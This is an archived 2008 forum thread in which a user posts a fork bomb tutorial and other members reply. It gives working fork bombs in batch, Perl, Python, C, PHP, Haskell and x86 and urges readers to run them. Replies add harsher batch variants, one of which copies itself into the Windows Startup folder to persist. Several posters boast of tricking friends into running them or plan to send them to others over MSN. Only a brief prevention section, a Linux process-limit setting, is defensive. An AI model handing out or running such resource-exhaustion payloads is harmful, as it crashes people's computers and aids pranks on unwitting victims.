PDA

View Full Version : A fork bomb in multiple languages!



EvilChicken!
08-03-2008, 09:14 PM
A FORK BOMB IN MULTIPLE LANGUAGES


Hi, and welcome to my tutorial about fork bombs. Thanks for clicking on it, and I hope you enjoy reading it as much as you did clicking on the link that directed you here.

Table of contents:

I - Disclaimer
--- Read this before continuing

II - What are fork bombs?
--- A brief intro and explanation

III - Fork bombs in theory
--- Construction of the different types of fork bombs

IV - Fork bomb examples in other languages
--- Perl, Python, PHP, x86, Haskell..

V - Prevention
--- What to do to avoid these baddies?

VI - Links to other info
--- External links

VII - Final notes
--- Final words of this tutorial




I - Disclaimer
Before reading any other section of this tutorial, read this first:
Although fork bombs are pretty much harmless, you should still be cautious while experimenting with them. I, EvilChicken!, the author of this tutorial, is not responsible for any thing that should happen with you or your surroundings before, during or after reading this tutorial, no matter what.


This tutorial was written for learning and protection purposes only.


II - What is a fork bomb?

A fork bomb is a mostly harmless form of an wabbit (http://en.wikipedia.org/wiki/Wabbit) attack towards a computer system, where a running fork (http://en.wikipedia.org/wiki/Fork_%28computing%29) process can create another process, which can create another, and it could theoretically go on like this for infinity. But, on a real computer, those fork bombs would eventually use up all system resources and your computer would freeze, leaving you no option but to restart.

And that example is just one of the fork bombs available.


III - Fork bombs in theory

As I feel I haven't fully concluded the last chapter, I will now let you experience the effect of a harmless fork bomb variant for yourself to fully grasp the harmlessness of these. Why try it with any other compiler other than the one you are most used to?

Exactly, the first piece of code for a fork bomb is to be ran in no other program than SCAR itself!

Here is the code.
Paste it in SCAR, press run and see what happens.
(Small tip: press CTRL + ALT + DEL first..)

label
D;

begin
D: // 1
WriteLn('Same effect as a repeat loop..');
goto D; // 2
end.

This type of fork bomb is absolutely not harmful, since the same effect can be achieved with an endless loop. (Repeat until false.) This will, in most cases make the program freeze. Only thing you have to do is to press CTRL + ALT + DEL, go to the processes tab, highlight scar.exe and terminate the process.

I understand that this is boring stuff, but this is the basic concept for a common type of fork bombs, and if I don't explain it, .. Why would I even bother to make this tutorial then? :rolleyes:

Anyway, in the 8 lines of code posted above, there are two comment marks, "//1" and "//2". They mark the most two most important commands in the "script". After declaring the label (done in line 1 and 2) and the "begin" identifier which states the start of the mainloop, "//1" is found. This is where we declare the label. You can think that a label has a similar function as a bookmark, if you want. There is nothing more to it. (There is an available tutorial on labels found here (http://www.villavu.com/forum/showthread.php?t=3890?t=4659&highlight=label) made by Freddy1990, the creator of SCAR.)

Continuing, between the "//1" and "//2" comments, we simply put whatever we want SCAR to do every time it browses this loop. And finally, "//2" is where we tell SCAR to go back to our bookmark, which I chose to call "D". For the record, the label can be called anything you want to.


Next programming language up is the versatile Batch programming language (http://en.wikipedia.org/wiki/Batch_file) (please check it out, you won't regret it if you're interested in programming). In addition to being extremely simple to learn while remaining efficient, it is also fun and leet. Very leet. In this tutorial, I will show you the variant of batch programming which I know how to code in; MS-DOS batch files. Thats right, the good ol' DOS (http://en.wikipedia.org/wiki/Batch_file#DOS).

DOS batch files are Windows-only, but they support almost all Windows versions (http://en.wikipedia.org/wiki/List_of_Microsoft_Windows_versions) from the ancient Windows 3.1 (http://en.wikipedia.org/wiki/Windows_3.1) to the Windows XP of today. I am not sure if Vista (that crap doesn't deserve a link) supports DOS batch files, not do I care - because Vista is only a "graphical" OS, with minor so-called "security features" added since XP, which EATS system resources so badly that you'll be fine without fork bombs. (You don't need them when you're running one as an OS.) It is worth mentioning here that Microsoft is making a new Windows, which currently goes under the name "Windows 7". It will probably be out in 2010, so Google it if you want to, because I really need to get back on topic.

Back to DOS batch files: The fork bomb you can make with batch files are somewhat more "powerful". The first for is harmless and won't require you to do anything except for terminating it in Task Management, (CTRL + ALT + DEL) but the second fork will most likely require you to restart your PC due to all the lag. (At least I had to..) So beware - but I swear (hoi, rhymes) that it is worth it if you haven't tried it before. The sight of 50 DOS windows popping up per second is quite entertaining.

Once again I present you the code: (Ta-da-daaaa)


%0|%0

Tadaaa. Yep, five chars. I don't think it'll get easier than this.
Open notepad, paste in those five chars, press CTRL + S or go to File -> Save as.. and name the file lolz.bat

http://img140.imageshack.us/img140/1111/utennavnmi5.png
@1: Name file with the file extension .bat, @2: Select "All files", @3: If not set to ANSI, set it to be so. @4: Save. Tadaa!

If you're a true genius, you already understand that anything except the file extension can be named after preference.

Ready to run the code? Good. But read the following first: First, open up Task Manager (http://pauillac.inria.fr/~xleroy/stuff/ctrl-alt-del.jpeg). (I'm, done posting that world famous shortcut for good.)

This is the most important note for you to avoid unnecessary reboot: whenever you get the batch running, hundreds of processes will appear in the process list tab in the process manager. (http://blogs.thesitedoctor.co.uk/tim/img/UsernamelessTaskManager.jpg) Ignore those, just go to the "Applications" tab and terminate the batch that is running. I'm not sure if that'll work for you, but it did for me, so it should do the same for you. Just remember that selecting and opening that god damn task manager could take a while. (I wonder why though.. :rolleyes: )

After reading those notes, run the batch you just created.

After a couple of seconds, a small hell will break loose. (You will most likely remain calm, since this was initiated intentionally, but think about your poor computer?) Do as instructed in the notes (couple lines up) to terminate the batch. I'm guessing that it is pointless to write anything else, because I don't think you'll have too much time left to read this while your fork is running before the entire computer freezes.

What do you think? Weak, you say? Well, here is a more powerful one. To run it, follow the same steps for creating/saving as listed above.


:hoi
START %0
GOTO :hoi


But please, do bookmark this tutorial and reopen it once you've rebooted your computer. Furthermore, save all your data, close any running programs, and get ready to switch off the PC using the power switch.

This one was better, eh? It wasn't? Well, this is the closest you'll get to making non-harmful malware. I must once again remind that this tutorial was created for learning, prevention and protection use only. Prevention and protection of your data, that is.


Fork bombs in other languages: (Most code is taken from Wikipedia)

Perl: (http://en.wikipedia.org/wiki/Perl)

#!/usr/bin/perl
fork while 1

Haskell: (http://en.wikipedia.org/wiki/Haskell_%28programming_language%29)

import Control.Monad
import System.Posix.Process

forkBomb = forever $ forkProcess forkBomb


The beloved Python (http://en.wikipedia.org/wiki/Python_programming_language):

import os

while True:
os.fork()


The popular C (http://en.wikipedia.org/wiki/C_%28programming_language%29):

#include <unistd.h>

int main(int argc, char* args[])
{
while(1)
fork();
return 0;
}


PHP (http://en.wikipedia.org/wiki/PHP):

while(1)
pcntl_fork();


x86 (http://en.wikipedia.org/wiki/X86):

format ELF executable
entry start
start:
push 0x2 ; Linux fork system call
pop eax ;
int 0x80 ; Call to the kernel
jmp start ; Loop back to the start



V - Prevention

Is this question even worth asking? Are they even harmful?
The answer is yes. Kinda. On servers that are running 24-7, this is a serious thread. Aw, come on guys, I know all of you have at least five of those! :p

But, no - fork bombs are usually harmless, unless they gain access to your registry to tweak it to launch the fork bomb(s) at windows startup, so beware.


VI - Links
- http://www.cyberciti.biz/faq/understanding-bash-fork-bomb/
- http://en.wikipedia.org/wiki/Fork_bomb
- www.google.com

Only links you'll need, the last two are especially helpful.


VII - Final notes

I thank you once again for reading my tutorial. If you want to do something in return, please post response and request for what more I could add, and lend me a RS member account for me to finish my flax spinner.

Remember:
- CTRL + ALT + DEL to open up Task Manager.
- CTRL + F to search for (a) specific keyword(s).
- CTRL + mouse scrolling wheel to increase or decrease font size.




A final note to all moderators and administrators: In addition to the disclaimers and the notices about this tutorial's purpose, I would like to most humbly not remove this tutorial, due to three reasons:
1. Fork bombs are in 99,98% of all cases harmless, and have to be manually launched for the forking process to begin.
2. This tutorial covers slightly more than just fork bombs, and people who do not find programming interesting can still hopefully enjoy it.
3. I spent a good amount of time writing this tutorial, honestly. I would say about 4 hours.

lolislol
08-03-2008, 10:27 PM
It would be fine if i understood but i can only understood java and pascal =p sorry. But i believe it might be useful:p

Harry
08-05-2008, 06:51 PM
Awesome :D But writeLn(); has failsafes so you can't expect writeln's to freeze SCAR, or at least it doesn't for me.

Your PHP code is wrong though, or my server is just epic safe :D
Fatal error: Call to undefined function: pcntl_fork() in /home/SERVER ST00F LOL/phpfile.php

EvilChicken!
08-05-2008, 06:57 PM
Awesome :D But writeLn(); has failsafes so you can't expect writeln's to freeze SCAR, or at least it doesn't for me.

Failsafes?! It may be .. Nonono. Wait. FAILsafe in WriteLn? What could possibly fail in a WriteLn? No, my friend. Atleast I don't think so.

Seriously, what do you mean by 'failsafes'?


And, can you honestly say that this does not freeze SCAR for you?:

begin
repeat
WriteLn('LOOLLLOLOOLLOLLOLOLOLOLOLOLOLOLOLOLLOLOLO LOl.');
until false;
end.

Try et.

And people: If someone actually read the tut and actually made a fork bomb, please post it.


Oh, and Harry: Thanks for the comment. :)

Harry
08-05-2008, 08:38 PM
EvilChicken!: That does not, in any way, freeze my SCAR, or PC. :) Just causes like 20% CPU usage.

Waddo
08-05-2008, 08:41 PM
what the fuck is your spec and how much did it cost

Harry
08-05-2008, 08:45 PM
As said by my mIRC addon:

[4:42pm] <04Harry> OS: Windows XP Professional SP3 (Build #2600) CPU: Intel Pentium 4, 2.66 GHz, 512 KB Video: NVIDIA GeForce4 MX 440 (1024x768x32bpp 60Hz) Sound: YAMAHA AC-XG WDM Audio Memory: Used: 386/512MB Uptime: 1h 34m 45s HD Space: Free: 70.07 GB/111.78 GB Connection: The Internet (1) via WAN Miniport (ATW) @ 10.0 Mbps (Rec: 7.80MB Sent: 2.25MB)

scissormetimbers
08-05-2008, 08:56 PM
when i saw this thread i got excited because this is what i thought we were gonna be making:

http://i163.photobucket.com/albums/t286/wiinoob/TiffanyFork.jpg

+

http://i163.photobucket.com/albums/t286/wiinoob/300px-Classic_time_bomb.jpg

EvilChicken!
08-05-2008, 09:05 PM
Wow. Not outstanding specs in any way, but still only 20%? Lies.

Lie test: Does the batch fork freeze your PC? (The second one.)

Harry
08-05-2008, 09:08 PM
Batch fork freezes my PC because so many exe's are started at once ;) but SCAR's writeLn source has a small wait after it in SCAR I think, so a writeLn fork will not freeze your PC. Does it freeze yours?

EvilChicken!
08-05-2008, 09:12 PM
Batch fork freezes my PC because so many exe's are started at once ;) but SCAR's writeLn source has a small wait after it in SCAR I think, so a writeLn fork will not freeze your PC. Does it freeze yours?

Yep.


Only periodically though. :(

Script I used: begin
while True do
WriteLn('LOLLPLODKOSFJSDLFSKASD');
end.

And, those aren't .exe's, those are DOS cmd windows. :p


At least I'm glad that the other stuff worked. :)

Timer
08-07-2008, 01:04 AM
I love you Evil Chicken!! Here, I made a Fork Bomb... :p

EvilChicken!
08-07-2008, 01:10 AM
I love you Evil Chicken!! Here, I made a Fork Bomb... :p

I love you, Timer! For actually reading my tutorial! ^_^

And, as for what your bomb does..
I think I'll prefer the source..? Pl0x?

Timer
08-07-2008, 01:33 AM
:hoi
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
START %0
GOTO :hoi

Quite "exacly yours" acually, im working on a new version now... IT WILL be deadly! :p Instead of opening files from a MAIN batch, every opened batch will ALSO OPEN MORE Cmds while each ping your local host causing massive lag... :)

Please get on MSN, so u can help me make the ultimate Bomb... :o

Nava2
08-07-2008, 08:19 PM
when i saw this thread i got excited because this is what i thought we were gonna be making:

http://i163.photobucket.com/albums/t286/wiinoob/TiffanyFork.jpg

+

http://i163.photobucket.com/albums/t286/wiinoob/300px-Classic_time_bomb.jpg

THAT MADE ME LAUGH SOOOO HARD LMFAOOOOOO

Nava2

Rich
08-07-2008, 08:52 PM
when i saw this thread i got excited because this is what i thought we were gonna be making:

http://i163.photobucket.com/albums/t286/wiinoob/TiffanyFork.jpg

+

http://i163.photobucket.com/albums/t286/wiinoob/300px-Classic_time_bomb.jpg

Lets just say that you weren't the only one! :rolleyes:

ShowerThoughts
08-07-2008, 08:56 PM
I think the best method would be something like running the exe itself self many many times plus a loop of threads(new threads)

bullzeye95
08-07-2008, 08:59 PM
I think the best method would be something like running the exe itself self many many times plus a loop of threads(new threads)

Yes. Just a normal loop of writelns is not a fork bomb.

Queso
08-07-2008, 09:55 PM
Best fork bomb I made ordered itself to open itself in a loop so it exponentially grew by a factor of 2. KABOOM!

EvilChicken!
08-07-2008, 10:35 PM
Best fork bomb I made ordered itself to open itself in a loop so it exponentially grew by a factor of 2. KABOOM!

Post it's source?

Queso
08-08-2008, 04:34 AM
Post it's source?

:hoi
START %0
START File.bat //whatever it's called, put full directory in
GOTO :hoi

Nothing complicated. Careful with it, now.

turbobk
08-08-2008, 12:17 PM
Woot!!!

Is my PC teh ownage or what??!
It didnt freeze or reboot when I ran the first two and I ran the third one and my PC lasted for about 6 minutes with it running before it froze. :)

Also my PC doesn't freeze or lag when i do:
begin
repeat
WriteLn('LOOLLLOLOOLLOLLOLOLOLOLOLOLOLOLOLOLLOLOLO LOl.');
until false;
end.


But my PC spec's are considerably better then Hy's so I'm not sure if his would lag or not :S

EvilChicken!
08-08-2008, 12:37 PM
:hoi
START %0
START File.bat //whatever it's called, put full directory in
GOTO :hoi

Nothing complicated. Careful with it, now.

Just FYI, commenting in Batch is doen with a single semicolon (";").
And, more IFY (woot, changing the order of the letters, and now if means "info for you") %0 redirects the Batch to itself. That is much more efficient than having the file to have a specific name.


Woot!!!

Is my PC teh ownage or what??!
It didnt freeze or reboot when I ran the first two and I ran the third one and my PC lasted for about 6 minutes with it running before it froze. :)

Try the batch that I have attached. (Rhymes (h))
But seriously, try it. And see how long your PC lives now.


Also my PC doesn't freeze or lag when i do:
begin
repeat
WriteLn('LOOLLLOLOOLLOLLOLOLOLOLOLOLOLOLOLOLLOLOLO LOl.');
until false;
end.



It isn't supposed to either. I was talking about SCAR; my SCAR doesn't freeze when doing that - it just takes up to 20 seconds to terminate the script once it is running.

Also, thanks to the people who have commented on this tutorial.
You make me happy ^^


Note to self: Add a section on how to create controllable forks.

Timer
08-08-2008, 01:33 PM
Best fork bomb I made ordered itself to open itself in a loop so it exponentially grew by a factor of 2. KABOOM!
Hmm, mine opens 100 cmds, yet all pinging your localhost, you try to exit, but 100 pings to your computer, it just cant handle it, you start to lag like he*l...
Every One Ping opens 100 Windows, So in the next ~ 1 second... You will have 10000 cmds open, and pinging your local host... Your computer is fu*ked be now... If its still living... It opens up 1,000,000 cmds, pinging your local host... At that point... Its impossible to still have a 'living' computer...

Thats my best fork bomb! :)


Just FYI, commenting in Batch is doen with a single semicolon (";").
And, more IFY (woot, changing the order of the letters, and now if means "info for you") %0 redirects the Batch to itself. That is much more efficient than having the file to have a specific name.



Try the batch that I have attached. (Rhymes (h))
But seriously, try it. And see how long your PC lives now.

I don't enjoy you leeching my sauce... :p (present.rar)

Laur€ns
08-08-2008, 01:49 PM
I love you Evil Chicken!! Here, I made a Fork Bomb... :p

My Eset SMART Security gives this error:


8-8-2008 15:46:56
HTTP filter
filehttp://www.srl-forums.com/forum/attachment.php?attachmentid=13632&d=1218071052
BAT/Darf.A worm
connection terminated - quarantined
LAURENS\Eigenaar
Threat was detected upon access to web by the application:
C:\Program Files\Mozilla Firefox\firefox.exe.


Z0mg ban t3h Tim3r.. Nah, J/K, Harry sent one to me and I was so stupid to open it.. But an error popped up, allowing me to end the 283 processes ;)

Timer
08-08-2008, 01:54 PM
thats 'pinging the localhost', your anti virus doesn't like Delphi... :p

Harry
08-08-2008, 07:40 PM
Lol Timer, your attatchment is though of as a Worm.. love NOD32.


My Eset SMART Security gives this error:


Z0mg ban t3h Tim3r.. Nah, J/K, Harry sent one to me and I was so stupid to open it.. But an error popped up, allowing me to end the 283 processes ;)

Lies, I never sent you a virus :(

heliumbox
08-08-2008, 07:47 PM
Lol these are basically the only things I did during my programming class at school, great tut =P

Waddo
08-10-2008, 01:04 PM
yer i fort fork bomb i was still thinking it after i read the dislaimer
I - Disclaimer
Before reading any other section of this tutorial, read this first:

Although fork bombs are pretty much harmless, you should still be cautious while experimenting with them. I, EvilChicken!, the author of this tutorial, is not responsible for any thing that should happen with you or your surroundings before, during or after reading this tutorial, no matter what.

This tutorial was written for learning and protection purposes only.








lol

msn convo with my mate



nathan says:
:hoi
START %0
GOTO :hoi
nathan says:
save that as .bat
nathan says:
and run
Simon says:
:S
nathan says:
?
Simon says:
oh
Simon says:
1 sec
nathan says:
?
Simon says:
FUCKING IDIOT!
Simon says:
CANT FUCKING STOP IT!!!!!!!!!
nathan says:
lol
nathan says:
whats happening
Simon says:
that
Simon says:
is
Simon says:
bringing up
Simon says:
loads of cmd's
nathan says:
=]
Simon says:
cant stop it
nathan says:
lol
nathan says:
to stop
Simon says:
cpu overheating
nathan says:
press ctrl alt delete
Simon says:
THAT WONT WORK
nathan says:
and there will be loads of processes
Simon says:
PC IS CRASHING
nathan says:
yer
nathan says:
lol
nathan says:
turn off at power
nathan says:
great aint it
Simon says:
NO
*
* The following message could not be delivered to all recipients:
?
*
nathan says:
lol
nathan says:
it is when you sen it to people
Simon says:
ffs
Simon says:
core temp is 74 degrees
Simon says:
:-O
nathan says:
lol
nathan says:
nice
nathan says:
turn of at poer
nathan says:
if you can get task manager up
nathan says:
then terminate the .bat
nathan says:
forget about the cmds
nathan says:
else turn off at power
nathan says:
and send it to people
Simon says:
if it goes above 70
nathan says:
me is thinking amin
nathan says:
damon
Simon says:
i should start worrying
nathan says:
lol
nathan says:
how many dos windows
nathan says:
now imagine me creating a autorun file that saves that .bat in startup =p

GoF
08-10-2008, 01:41 PM
Atleast on WinXP those stop at like 100ish processes, atleast never made me crash... Atleast if you use something lame like



:Ass
Start blabla.bat
goto Ass


Or so it opens like 100 cmds and then just right click and end xP

Fork bombs are noob etc. but still kinda cool thread :)

Waddo
08-10-2008, 03:55 PM
:stripbar
Start fap.bat
goto stripbar


XD

Waddo
08-10-2008, 11:20 PM
Lol my mates pc ended up with a core temp of over 100 degrees b4 he finally turned it off. He is so pissed at me now lol.

ax0ren
08-17-2008, 07:39 PM
I like this one.

start virus.bat
virus.bat
Opens CMD a lot.

ShowerThoughts
08-17-2008, 08:07 PM
Lol my mates pc ended up with a core temp of over 100 degrees b4 he finally turned it off. He is so pissed at me now lol.I dont believe 100 degreess then it is already melted ;)

atomnooblet
08-25-2008, 02:19 PM
LOL! This is so sweet! I'm gonna try making my own fork bomb!

MCR__ftw
10-22-2008, 12:29 AM
Lol this is awesome, I tried it on xp, but I couldn't end the process, it kept switching to a different one so I had to restart. Now to send this to people who annoy me on msn.

Wizzup?
11-26-2008, 02:59 PM
Fork bombs can be fun, if you can run bash scripts on ssh. Then you can easily crash the servers.

noidea
11-26-2008, 05:47 PM
yer i fort fork bomb i was still thinking it after i read the dislaimer
I - Disclaimer
Before reading any other section of this tutorial, read this first:

Although fork bombs are pretty much harmless, you should still be cautious while experimenting with them. I, EvilChicken!, the author of this tutorial, is not responsible for any thing that should happen with you or your surroundings before, during or after reading this tutorial, no matter what.

This tutorial was written for learning and protection purposes only.








lol

msn convo with my mate

I just fell out of my seat laughing.

006786
11-26-2008, 07:02 PM
:hoi
START %0
copy %0 "C:\Documents and Settings\*USERNAME HERE*\Start Menu\Programs\Startup"
GOTO :hoi

Crusadercharlie
12-20-2008, 05:18 PM
Haha, thats brilliant I love it :P

boberman
12-20-2008, 06:17 PM
EvilChicken, A fork bomb isn't simply an infinite loop. A fork bomb is where an application at minimum creates two copies of itself, hence forking.

AFAIK scar is unable to create a new process making fork bombs unavailable to it. (OK, it can make API calls, and windows provides a "CreateThread" function so I guess it is possible, but not for the faint of heart)

006786
12-21-2008, 06:11 PM
THen there's:



set haha=1
:hoi
START %0
Set /A haha+=1
mkdir haha
copy %0 haha
goto hoi

maksimka
01-05-2009, 05:31 AM
V - Prevention

Is this question even worth asking? Are they even harmful?
The answer is yes. Kinda. On servers that are running 24-7, this is a serious thread. Aw, come on guys, I know all of you have at least five of those!

But, no - fork bombs are usually harmless, unless they gain access to your registry to tweak it to launch the fork bomb(s) at windows startup, so beware.




The answer is yes. Kinda. On servers that are running 24-7, this is a serious thread.


for 'thread' i think you ment 'threat' :)

Aser
01-05-2009, 05:48 AM
when i saw this thread i got excited because this is what i thought we were gonna be making:

http://i163.photobucket.com/albums/t286/wiinoob/TiffanyFork.jpg

+

http://i163.photobucket.com/albums/t286/wiinoob/300px-Classic_time_bomb.jpg

Sadly that's actually what I thought, and by multiple languages I thought you meant Spanish, French, German ect...

btw: A better fork bomb would open an application that takes more to run than the command prompt. Try overloading the system with something like a game or your internet browser.

AridTag
01-19-2009, 06:56 AM
And, those aren't .exe's, those are DOS cmd windows. :p


I haven't read the whole thread so maybe someone said this already...But how do you figure they aren't .exe's DOS cmd windows are in fact .exe's unless you use command.com which would be entirely stupid. Either way it is still an executable file.

Running your %0|%0 does in fact spawn cmd.exe's when run from a bat file so...yeah.

Wizzup?
01-19-2009, 09:14 AM
EvilChicken, I was kind of wondering how you would prevent fork bombs on Windows?
I've prevented it on Linux quite easily.
But how would you do that on Windows? (Not that I want to, I've just been wondering if windows can do that, at all...)

EDIT:
The Windows family is inherantly flawed in it's control of process execution on an OS global level. After discovering a rather nasty error in a recent program, I was able to determine that it is possible to enter into an EXTREME multiple replication condition within Windows which is similar to the Infinate Spawning Denial of Service attack that is able to be performed using some simple javascript containing a while loop under Internet Explorer 6 and all previous IE releases that incorporated javascript.

EvilChicken!
01-20-2009, 05:48 PM
Wizzup?, the example in your edit shows fork bombs near it's worst, and makes me understand why you didn't want to fully approve this thread.

But, as for your question, that is unknown to me.
The closest I can think of as a way of prevention, would be to have a background application that monitors all programs that open. This program would only check for occurrence of abnormal amounts of a certain application name within a certain time. (As fork bombs create new processes rather, er, fast.) If the application detects such abnormality, all applications with that name will be terminated.

(Or, I guess that simply a background application that doesn't allow more than X amount of similarly named processes to be executed simultaneously would serve the same purpose?)

I doubt this application would take up a considerable amount of resources, nor would it be hard to create.
I very strongly believe that there are other, far more efficient ways, this was just something I thought of when I read your post.

How did you prevent it on Linux?

Wizzup?
01-20-2009, 05:56 PM
Wizzup?, the example in your edit shows fork bombs near it's worst, and makes me understand why you didn't want to fully approve this thread.

But, as for your question, that is unknown to me.
The closest I can think of as a way of prevention, would be to have a background application that monitors all programs that open. This program would only check for occurrence of abnormal amounts of a certain application name within a certain time. (As fork bombs create new processes rather, er, fast.) If the application detects such abnormality, all applications with that name will be terminated.

(Or, I guess that simply a background application that doesn't allow more than X amount of similarly named processes to be executed simultaneously would serve the same purpose?)

I doubt this application would take up a considerable amount of resources, nor would it be hard to create.
I very strongly believe that there are other, far more efficient ways, this was just something I thought of when I read your post.

How did you prevent it on Linux?

Edit /etc/security/limits.conf.
Then add (at the bottom)
auser hard nproc 50

format is this:
<theusername> hard nproc <maxprocesses>

EDIT: Full article here: http://www.cyberciti.biz/tips/linux-limiting-user-process.html

On windows, you'll probably have to buy some program just to limit user processes.

Laimonas171
08-03-2009, 08:19 AM
My ForkBomb
features.

Makes 9 copies. each copy opens self. (self means open self infinity time)
my:myOpenMy>myOpenMy....blablabla... here we go!
How to run.
Open Notepad Put Quoted text. Press File > Save as... > name "yourfilename.bat" with quotes.

Echo Off
cls
CD \
Color 0C
Echo Hello You trying to Lunch ForkBomb, press any key to run it (any key is between CTRL and ALT (rofl))
pause
cls
Color C0
Echo Last Chance to Close this window or press any key to start it. (any key is between CTRL and ALT (rofl))
Echo Ok here we GO!!!!!!!!!!!!!!!!!!!!!!!!!!
ECHO Start 1.bat >1.bat
ECHO Start 2.bat >2.bat
ECHO Start 3.bat >3.bat
ECHO Start 4.bat >4.bat
ECHO Start 5.bat >5.bat
ECHO Start 6.bat >6.bat
ECHO Start 7.bat >7.bat
ECHO Start 8.bat >8.bat
ECHO Start 9.bat >9.bat
Start 1.bat
Start 2.bat
Start 3.bat
Start 4.bat
Start 5.bat
Start 6.bat
Start 7.bat
Start 8.bat
Start 9.bat
Start 1.batAlso added 1safe QUESTION(question press any key to pass it. it wont run fork yes) if you pass second one god will bless your PC. :)

* I DIDN'T tested. but i am 99% sure what it works .